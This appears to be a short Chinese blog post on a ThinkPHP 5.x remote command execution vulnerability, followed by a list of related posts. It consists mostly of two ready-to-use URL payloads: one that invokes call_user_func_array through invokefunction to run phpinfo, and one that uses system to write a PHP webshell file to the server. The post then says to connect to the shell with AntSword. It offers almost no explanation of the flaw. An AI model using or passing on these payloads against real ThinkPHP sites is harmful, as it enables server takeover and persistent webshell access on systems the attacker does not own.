常见框架漏洞:Thinkphp(TP)篇

简介

ThinkPHP (简称 TP )是一款流行的 国产开源 PHP 框架 ,遵循 MVC(Model-View-Controller) 设计模式,以简洁、高效、灵活著称,广泛应用于国内中小型 Web 项目开发。

Thinkphp5x远程命令执行及getshell

原理

rce

过程

打开网站

复制代码
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[
1][]=-1

在后面拼接指令即可

getshell

复制代码
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]
[]=echo "<?php phpinfo();?>" >>1.php

访问后使用蚁剑链接即可

相关推荐
网络研究院4 天前
监管要求不统一暴露了移动安全方面的漏洞
网络·安全·漏洞·风险·监管
至善迎风10 天前
React2Shell(CVE-2025-55182)漏洞服务器排查完整指南
网络安全·react·数据安全·漏洞·next·rsc·cve-2025-55182
xmode18 天前
常用自定义函数laravel版+thinkphp版
后端·php·laravel·thinkphp
mooyuan天天19 天前
内网渗透之Thinkphp5提权实战+reGeorg代理横向移动(CVE-2018-20062)
内网渗透·横向移动·thinkphp·regeorg·cve-2018-20062·thinkphp代码执行漏洞
蹦极的考拉21 天前
夜间无法登录:ThinkPHP api接口 23:00 准时罢工的排查全纪录
小程序·thinkphp·api接口·无法登陆
青茶36021 天前
ThinkCMF是一个开源的内容管理框架
php·cms·thinkphp
quweiie22 天前
thinkphp8.0链接SQL SERVER2022数据库
数据库·sqlserver·thinkphp
ghie90901 个月前
基于ThinkPHP实现动态ZIP压缩包的生成
thinkphp
用户3074596982071 个月前
容器(Container)—— 对象的“智能工厂+调度官”
后端·thinkphp
非凡的世界2 个月前
ThinkPHP6 集成TCP长连接 GatewayWorker
网络·网络协议·tcp/ip·gateway·thinkphp·worker·workman